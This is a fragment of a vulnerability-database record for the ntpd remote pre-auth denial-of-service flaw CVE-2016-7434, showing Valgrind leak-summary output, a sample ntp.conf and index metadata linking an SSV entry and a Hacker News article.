204800. | | ==5389== | | ==5389== HEAP SUMMARY: | | ==5389== in use at exit: 122,458 bytes in 2,707 blocks | | ==5389== total heap usage: 2,875 allocs, 168 frees, 411,190 bytes allocated | | ==5389== | | ==5389== LEAK SUMMARY: | | ==5389== definitely lost: 0 bytes in 0 blocks | | ==5389== indirectly lost: 0 bytes in 0 blocks | | ==5389== possibly lost: 2,000 bytes in 2 blocks | | ==5389== still reachable: 120,458 bytes in 2,705 blocks | | ==5389== suppressed: 0 bytes in 0 blocks | | ==5389== Rerun with --leak-check=full to see details of leaked memory | | ==5389== | | ==5389== For counts of detected and suppressed errors, rerun with: -> | | ==5389== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0) ``` ntp.conf ``` | server 127.127.1.0 prefer | | fudge 127.127.1.0 stratum 10 | | driftfile /var/lib/ntp/drift | | broadcastdelay 0.008 | | | | logfile /dev/null | | | | restrict 127.0.0.1 mask 255.255.255.255 nomodify notrap | ```
idSSV:92551
last seen2017-11-19
modified2016-11-23
published2016-11-23
reporterRoot
titlentpd remote pre-auth DoS (CVE-2016-7434)

The Hacker News

idTHN:566AF977BB17FAE2C413BBE2311AB99D
last seen2018-01-27
modified2016-11-23
published2016-11-22
reporterMohit Kumar
sourcehttps://thehackernews.com/2016/11/ntp-server-vulnerability.html
titleNTP DoS Exploit Released — Update Your Servers to Patch 10 Flaws